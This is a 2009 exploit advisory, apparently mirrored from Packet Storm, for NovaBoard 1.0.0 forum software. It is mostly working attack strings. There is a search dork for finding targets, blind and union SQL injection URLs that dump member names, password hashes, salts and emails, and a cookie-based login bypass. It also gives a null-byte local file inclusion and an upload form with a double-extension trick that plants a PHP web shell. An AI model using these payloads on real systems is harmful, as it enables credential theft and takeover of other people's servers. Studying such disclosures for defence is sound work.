Lucene search
K

NovaBoard 1.0.0 File Upload / LFI / SQL Injection

🗓️ 16 Feb 2009 00:00:00Reported by brain[pillow]Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

Found vulnerability in NovaBoard 1.0.0 for File Upload, LFI, and SQL Injection. Details on SQL injection, blind SQL injection, standard SQL injection, and local file inclusion. Also, a method for shell upload is described

Code
`===============================================================================================  
  
Found : brain[pillow]  
Dork : "Powered by NovaBoard v1.0.0"  
Visit : brainpillow.cc, forum.antichat.ru, raz0r.name  
Mail : [email protected]  
  
===============================================================================================  
  
-- [ blind sql-inj ]:   
  
/index.php?page=search&search=xe&author_id=&author=&startdate=&enddate=&forums%5B%5D=&pf=1&topic=1'+union+select+1,2,3,4,5,6,7,8,9+from+novaboard_posts+where+1='2  
  
Need: magic quotes = off  
  
===============================================================================================  
  
-- [ standart sql-inj ]:  
  
/index.php?forum=2'+union+select+1,2,concat_ws('%20|%20',name,password,pass_salt,email)+from+novaboard_members+where+1='1  
  
Need: magic quotes = off  
Note: $password= md5($password . $pass_salt);  
  
===============================================================================================  
  
-- [ sql-inj in auth ]:  
  
COOKIES: nova_name=admin'#; nova_password=1c20a3e48e3b6607fedded430a20f606  
  
Need: magic quotes = off  
  
===============================================================================================  
  
-- [ local include ]:  
  
/uploads/upload.php  
Cookie: nova_lang=../index.php%00  
  
Need: 1) no cookie "nova_name" in your browser.  
2) magic quotes = off  
  
===============================================================================================  
  
-- [ shell upload ]:  
  
<form enctype='multipart/form-data' method='post'   
  
action='http://localhost/_BOARD_PATH_/uploads/uploader.php'>  
<input type='hidden' name='MAX_FILE_SIZE' value='100000000000' />  
<input type='hidden' name='topicid' value='' />  
<input type='hidden' name='member' value='' />  
<input type='hidden' name='attachtype' value='' />  
<input type='hidden' name='hash' value='31337' />  
<input type='hidden' name='attachtype' value='attachments' />  
<input type='file' name='uploadedfile'>  
<input type='submit' value='Upload' />  
</form>  
  
Note: Must upload file "shell.php.anything.rar" and then have fun here:   
  
http://localhost/_BOARD_PATH_/uploads/attachments/31337shell.php.anything.rar  
  
Need: attachments allowed  
  
===============================================================================================  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation